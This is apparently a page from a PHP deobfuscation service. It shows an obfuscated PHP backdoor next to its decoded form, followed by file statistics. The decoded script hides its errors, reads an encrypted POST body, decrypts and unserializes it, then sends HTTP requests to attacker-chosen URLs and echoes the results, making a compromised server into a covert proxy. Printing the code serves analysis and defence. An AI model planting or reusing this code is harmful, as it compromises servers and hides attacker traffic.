Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4fBA\x4cS"}["\x73l\x68m\x6b\x63\x77s"]="\x68\x74\x74\x70_re\x73po\x6e\x..

Decoded Output download

<?php ${"GLOBALS"}["slhmkcws"]="http_response_header";${"GLOBALS"}["ptbrkqrtuxj"]="ctx";${"GLOBALS"}["drulwjdl"]="value";${"GLOBALS"}["ikagnibdwjs"]="head";${"GLOBALS"}["emwlwlqejf"]="j";${"GLOBALS"}["kaqbcwuthef"]="key";${"GLOBALS"}["iugwaxi"]="i";${"GLOBALS"}["sgkoivpfnjqu"]="key_len";${"GLOBALS"}["btcctgdx"]="out_data";${"GLOBALS"}["pcoyqxpytkd"]="result";${"GLOBALS"}["ldtuwhqow"]="b64_decode_data";${"GLOBALS"}["tdjwvrfnumk"]="send_data";${"GLOBALS"}["wulwksy"]="data";@ini_set("display_errors",0);${"GLOBALS"}["hhukkpkts"]="data";$ycrzqlimwbrg="result";@ini_set("log_errors",0);$qwgzfiij="data";@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);${${"GLOBALS"}["hhukkpkts"]}=file_get_contents("php://input");${"GLOBALS"}["gyceaybvgbe"]="result";${"GLOBALS"}["cfrdqep"]="b64_decode_data";${$qwgzfiij}=split("=",${${"GLOBALS"}["wulwksy"]},2);${${"GLOBALS"}["cfrdqep"]}=base64_decode(urldecode(${${"GLOBALS"}["wulwksy"]}[1]));${${"GLOBALS"}["tdjwvrfnumk"]}=unserialize(decrypt(${${"GLOBALS"}["ldtuwhqow"]}));${${"GLOBALS"}["gyceaybvgbe"]}=send_data1(${${"GLOBALS"}["tdjwvrfnumk"]});if(!${${"GLOBALS"}["pcoyqxpytkd"]}){${"GLOBALS"}["mggvkuccek"]="result";$cpolyduj="send_data";${${"GLOBALS"}["mggvkuccek"]}=send_data2(${$cpolyduj});}echo${$ycrzqlimwbrg};function decrypt($data){${"GLOBALS"}["meckavn"]="key";${"GLOBALS"}["ztceyoxcre"]="i";$mndczjlsi="key";${${"GLOBALS"}["btcctgdx"]}="";${$mndczjlsi}=$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];$qxmjeateu="data";$lxckxghero="i";${${"GLOBALS"}["sgkoivpfnjqu"]}=strlen(${${"GLOBALS"}["meckavn"]});for(${${"GLOBALS"}["iugwaxi"]}=0;${${"GLOBALS"}["iugwaxi"]}<strlen(${${"GLOBALS"}["kaqbcwuthef"]});${$lxckxghero}++){${"GLOBALS"}["idxihnsk"]="i";$finwlfslqik="key";${$finwlfslqik}[${${"GLOBALS"}["idxihnsk"]}]=chr(ord(${${"GLOBALS"}["kaqbcwuthef"]}[${${"GLOBALS"}["iugwaxi"]}])^(${${"GLOBALS"}["sgkoivpfnjqu"]}%255));}for(${${"GLOBALS"}["iugwaxi"]}=0;${${"GLOBALS"}["ztceyoxcre"]}<strlen(${$qxmjeateu});){${"GLOBALS"}["jppynedlpvlv"]="i";$iqumoszoq="i";${"GLOBALS"}["jneyqq"]="j";$wiimhq="j";for(${${"GLOBALS"}["jneyqq"]}=0;${${"GLOBALS"}["emwlwlqejf"]}<strlen(${${"GLOBALS"}["kaqbcwuthef"]})&&${${"GLOBALS"}["jppynedlpvlv"]}<strlen(${${"GLOBALS"}["wulwksy"]});${$wiimhq}++,${$iqumoszoq}++){${"GLOBALS"}["mocreim"]="out_data";$vbjwjhxv="key";$jtettqpj="i";$wimcoiot="data";$dixufxmf="j";${${"GLOBALS"}["mocreim"]}.=chr(ord(${$wimcoiot}[${$jtettqpj}])^ord(${$vbjwjhxv}[${$dixufxmf}]));}}return${${"GLOBALS"}["btcctgdx"]};}function send_data1($data){$yqzmomoospd="http_response_header";${${"GLOBALS"}["ikagnibdwjs"]}="";$psktnjnxvvw="params";${"GLOBALS"}["mteufldyte"]="key";${"GLOBALS"}["lsxegzibgd"]="head";$etsitvxl="data";${"GLOBALS"}["waqwbckgcno"]="data";$cqkkoibd="params";foreach(${${"GLOBALS"}["wulwksy"]}["headers"]as${${"GLOBALS"}["mteufldyte"]}=>${${"GLOBALS"}["drulwjdl"]}){${${"GLOBALS"}["ikagnibdwjs"]}.=${${"GLOBALS"}["kaqbcwuthef"]}.": ".${${"GLOBALS"}["drulwjdl"]}."
";}${$psktnjnxvvw}=array("http"=>array("method"=>${$etsitvxl}["method"],"header"=>${${"GLOBALS"}["lsxegzibgd"]},"content"=>${${"GLOBALS"}["wulwksy"]}["body"],"timeout"=>${${"GLOBALS"}["waqwbckgcno"]}["timeout"],));${${"GLOBALS"}["ptbrkqrtuxj"]}=stream_context_create(${$cqkkoibd});${${"GLOBALS"}["pcoyqxpytkd"]}=@file_get_contents(${${"GLOBALS"}["wulwksy"]}["url"],FALSE,${${"GLOBALS"}["ptbrkqrtuxj"]});if(${$yqzmomoospd}){if(strpos(${${"GLOBALS"}["slhmkcws"]}[0],"200")===FALSE){${${"GLOBALS"}["pcoyqxpytkd"]}="HTTP_ERROR	".${${"GLOBALS"}["slhmkcws"]}[0];}}else{${${"GLOBALS"}["pcoyqxpytkd"]}="CONNECTION_ERROR";}return${${"GLOBALS"}["pcoyqxpytkd"]};}function send_data2($data){} 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4fBA\x4cS"}["\x73l\x68m\x6b\x63\x77s"]="\x68\x74\x74\x70_re\x73po\x6e\x73\x65\x5f\x68\x65\x61\x64\x65\x72";${"\x47L\x4f\x42\x41\x4cS"}["p\x74\x62r\x6bqrt\x75\x78\x6a"]="\x63\x74x";${"GLO\x42\x41\x4c\x53"}["\x64\x72\x75\x6c\x77\x6adl"]="\x76\x61\x6c\x75\x65";${"GL\x4f\x42\x41\x4c\x53"}["ika\x67\x6e\x69\x62d\x77\x6a\x73"]="\x68\x65\x61\x64";${"GL\x4f\x42A\x4cS"}["e\x6d\x77\x6cw\x6c\x71e\x6a\x66"]="j";${"G\x4cO\x42AL\x53"}["\x6b\x61\x71\x62c\x77\x75\x74\x68\x65\x66"]="\x6b\x65\x79";${"\x47L\x4f\x42\x41LS"}["\x69ug\x77\x61\x78\x69"]="\x69";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x67\x6b\x6fi\x76\x70f\x6e\x6a\x71\x75"]="\x6b\x65y\x5fle\x6e";${"\x47\x4c\x4fBA\x4c\x53"}["\x62\x74\x63\x63\x74\x67\x64\x78"]="\x6fu\x74\x5f\x64\x61\x74\x61";${"G\x4c\x4fBA\x4c\x53"}["\x70\x63\x6f\x79q\x78\x70\x79\x74\x6b\x64"]="re\x73\x75\x6ct";${"G\x4c\x4f\x42\x41L\x53"}["\x6c\x64\x74\x75\x77h\x71\x6fw"]="\x62\x36\x34\x5f\x64e\x63o\x64\x65\x5f\x64ata";${"\x47\x4c\x4f\x42A\x4cS"}["td\x6a\x77\x76rf\x6e\x75\x6d\x6b"]="s\x65n\x64\x5fd\x61\x74\x61";${"\x47\x4cO\x42\x41\x4c\x53"}["\x77u\x6c\x77\x6b\x73\x79"]="\x64\x61t\x61";@ini_set("\x64i\x73\x70\x6cay\x5ferr\x6f\x72s",0);${"\x47\x4c\x4f\x42A\x4cS"}["h\x68u\x6b\x6b\x70k\x74\x73"]="\x64\x61t\x61";$ycrzqlimwbrg="r\x65\x73\x75l\x74";@ini_set("\x6co\x67_\x65\x72r\x6f\x72s",0);$qwgzfiij="\x64at\x61";@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set("ma\x78\x5f\x65\x78\x65c\x75\x74\x69\x6fn\x5f\x74i\x6de",0);${${"\x47L\x4fB\x41L\x53"}["\x68\x68u\x6bk\x70\x6bt\x73"]}=file_get_contents("p\x68\x70://\x69npu\x74");${"\x47\x4cO\x42\x41\x4c\x53"}["g\x79\x63\x65\x61y\x62\x76\x67\x62\x65"]="\x72\x65\x73\x75\x6c\x74";${"\x47LOBAL\x53"}["\x63fr\x64\x71e\x70"]="\x62\x36\x34\x5fd\x65\x63\x6f\x64e\x5fd\x61\x74a";${$qwgzfiij}=split("\x3d",${${"G\x4c\x4f\x42\x41L\x53"}["wu\x6c\x77\x6b\x73\x79"]},2);${${"\x47\x4cO\x42\x41L\x53"}["\x63\x66\x72\x64q\x65\x70"]}=base64_decode(urldecode(${${"\x47\x4cO\x42\x41L\x53"}["w\x75\x6c\x77\x6bs\x79"]}[1]));${${"G\x4cO\x42\x41\x4c\x53"}["\x74\x64\x6awvr\x66num\x6b"]}=unserialize(decrypt(${${"\x47\x4c\x4f\x42A\x4cS"}["\x6cd\x74\x75\x77h\x71\x6f\x77"]}));${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x79\x63\x65\x61y\x62\x76g\x62\x65"]}=send_data1(${${"\x47\x4c\x4f\x42AL\x53"}["\x74\x64\x6a\x77vr\x66n\x75\x6d\x6b"]});if(!${${"\x47\x4c\x4fB\x41L\x53"}["\x70\x63\x6f\x79\x71xp\x79\x74\x6b\x64"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x67\x67v\x6bu\x63c\x65\x6b"]="\x72\x65\x73\x75\x6ct";$cpolyduj="\x73\x65n\x64\x5f\x64at\x61";${${"G\x4c\x4f\x42A\x4cS"}["mg\x67\x76ku\x63\x63\x65\x6b"]}=send_data2(${$cpolyduj});}echo${$ycrzqlimwbrg};function decrypt($data){${"\x47L\x4f\x42A\x4cS"}["\x6d\x65\x63ka\x76\x6e"]="\x6bey";${"\x47\x4c\x4f\x42AL\x53"}["z\x74\x63\x65\x79\x6f\x78\x63re"]="i";$mndczjlsi="\x6be\x79";${${"\x47L\x4f\x42\x41\x4c\x53"}["b\x74\x63\x63\x74\x67dx"]}="";${$mndczjlsi}=$_SERVER["\x48T\x54\x50\x5f\x48OS\x54"].$_SERVER["\x52\x45QU\x45S\x54\x5fU\x52\x49"];$qxmjeateu="d\x61t\x61";$lxckxghero="\x69";${${"GL\x4f\x42\x41\x4cS"}["s\x67\x6b\x6f\x69\x76\x70f\x6e\x6aq\x75"]}=strlen(${${"\x47\x4c\x4f\x42A\x4cS"}["\x6d\x65ck\x61v\x6e"]});for(${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x75gw\x61\x78i"]}=0;${${"\x47\x4cOB\x41\x4c\x53"}["i\x75g\x77ax\x69"]}<strlen(${${"G\x4cOB\x41L\x53"}["\x6b\x61q\x62c\x77\x75\x74\x68\x65\x66"]});${$lxckxghero}++){${"G\x4c\x4f\x42\x41\x4c\x53"}["i\x64\x78\x69\x68\x6e\x73k"]="\x69";$finwlfslqik="\x6b\x65\x79";${$finwlfslqik}[${${"\x47\x4cO\x42\x41L\x53"}["i\x64\x78\x69\x68n\x73k"]}]=chr(ord(${${"\x47\x4cOBA\x4c\x53"}["k\x61\x71\x62\x63wu\x74\x68ef"]}[${${"\x47L\x4f\x42\x41\x4cS"}["\x69\x75\x67\x77\x61x\x69"]}])^(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["sgko\x69v\x70f\x6e\x6aq\x75"]}%255));}for(${${"G\x4c\x4f\x42\x41L\x53"}["i\x75\x67\x77\x61\x78\x69"]}=0;${${"G\x4c\x4f\x42\x41\x4c\x53"}["z\x74c\x65\x79\x6fxc\x72e"]}<strlen(${$qxmjeateu});){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jp\x70\x79\x6ee\x64l\x70\x76\x6c\x76"]="\x69";$iqumoszoq="\x69";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["j\x6ee\x79\x71\x71"]="\x6a";$wiimhq="\x6a";for(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x6e\x65\x79\x71\x71"]}=0;${${"\x47\x4cO\x42\x41\x4c\x53"}["e\x6d\x77\x6cw\x6cqe\x6a\x66"]}<strlen(${${"G\x4c\x4f\x42AL\x53"}["k\x61q\x62\x63\x77ut\x68e\x66"]})&&${${"\x47\x4cO\x42A\x4c\x53"}["j\x70pyn\x65dl\x70\x76\x6c\x76"]}<strlen(${${"G\x4c\x4fB\x41\x4cS"}["\x77u\x6c\x77k\x73\x79"]});${$wiimhq}++,${$iqumoszoq}++){${"\x47\x4cOB\x41LS"}["\x6do\x63r\x65i\x6d"]="\x6f\x75\x74_\x64a\x74\x61";$vbjwjhxv="\x6b\x65y";$jtettqpj="i";$wimcoiot="\x64\x61\x74a";$dixufxmf="\x6a";${${"GLO\x42\x41L\x53"}["\x6do\x63\x72\x65\x69\x6d"]}.=chr(ord(${$wimcoiot}[${$jtettqpj}])^ord(${$vbjwjhxv}[${$dixufxmf}]));}}return${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x74\x63\x63\x74\x67\x64x"]};}function send_data1($data){$yqzmomoospd="h\x74\x74p\x5f\x72es\x70\x6fn\x73e\x5f\x68e\x61\x64\x65\x72";${${"G\x4c\x4fB\x41LS"}["\x69ka\x67\x6e\x69\x62\x64\x77j\x73"]}="";$psktnjnxvvw="\x70\x61\x72am\x73";${"G\x4cOBA\x4c\x53"}["\x6d\x74\x65\x75\x66l\x64yt\x65"]="\x6be\x79";${"\x47L\x4f\x42\x41\x4cS"}["ls\x78\x65g\x7ai\x62\x67\x64"]="h\x65a\x64";$etsitvxl="\x64a\x74\x61";${"G\x4cO\x42\x41\x4c\x53"}["wa\x71\x77bck\x67cn\x6f"]="d\x61\x74a";$cqkkoibd="p\x61\x72a\x6d\x73";foreach(${${"GL\x4f\x42A\x4c\x53"}["w\x75l\x77ksy"]}["\x68\x65ad\x65rs"]as${${"\x47\x4c\x4fB\x41\x4cS"}["\x6d\x74\x65\x75\x66l\x64\x79\x74e"]}=>${${"GLOB\x41\x4cS"}["d\x72\x75lw\x6a\x64\x6c"]}){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69k\x61\x67n\x69\x62d\x77\x6a\x73"]}.=${${"\x47\x4cO\x42\x41\x4c\x53"}["k\x61q\x62\x63w\x75\x74\x68e\x66"]}.":\x20".${${"G\x4c\x4fB\x41\x4cS"}["\x64\x72\x75l\x77j\x64l"]}."\r\n";}${$psktnjnxvvw}=array("http"=>array("\x6de\x74\x68\x6fd"=>${$etsitvxl}["\x6d\x65\x74\x68\x6fd"],"\x68e\x61\x64er"=>${${"\x47L\x4fBA\x4cS"}["l\x73\x78\x65\x67\x7a\x69bg\x64"]},"\x63\x6f\x6e\x74e\x6e\x74"=>${${"\x47LO\x42\x41\x4c\x53"}["\x77\x75l\x77\x6b\x73y"]}["body"],"\x74\x69\x6d\x65\x6f\x75\x74"=>${${"GL\x4f\x42AL\x53"}["\x77\x61\x71w\x62ck\x67c\x6e\x6f"]}["\x74\x69\x6d\x65o\x75t"],));${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70t\x62\x72\x6b\x71\x72\x74u\x78\x6a"]}=stream_context_create(${$cqkkoibd});${${"GL\x4fB\x41LS"}["\x70c\x6f\x79\x71\x78p\x79\x74kd"]}=@file_get_contents(${${"G\x4c\x4fB\x41L\x53"}["\x77\x75\x6c\x77k\x73y"]}["u\x72\x6c"],FALSE,${${"\x47\x4c\x4f\x42\x41LS"}["pt\x62\x72\x6b\x71\x72t\x75\x78\x6a"]});if(${$yqzmomoospd}){if(strpos(${${"G\x4cO\x42\x41L\x53"}["sl\x68m\x6b\x63\x77s"]}[0],"\x32\x300")===FALSE){${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70\x63\x6fyq\x78\x70yt\x6b\x64"]}="H\x54TP\x5f\x45RROR\t".${${"G\x4c\x4f\x42A\x4c\x53"}["\x73\x6c\x68\x6d\x6bcws"]}[0];}}else{${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70c\x6f\x79q\x78\x70\x79t\x6b\x64"]}="\x43O\x4eNECTI\x4fN_E\x52\x52\x4fR";}return${${"\x47LO\x42\x41\x4c\x53"}["p\x63\x6fy\x71\x78\x70\x79\x74\x6b\x64"]};}function send_data2($data){}
?>

Function Calls

None

Variables

None

Stats

MD5 2480816803fecd0a5445458fe3ab8b5a
Eval Count 0
Decode Time 104 ms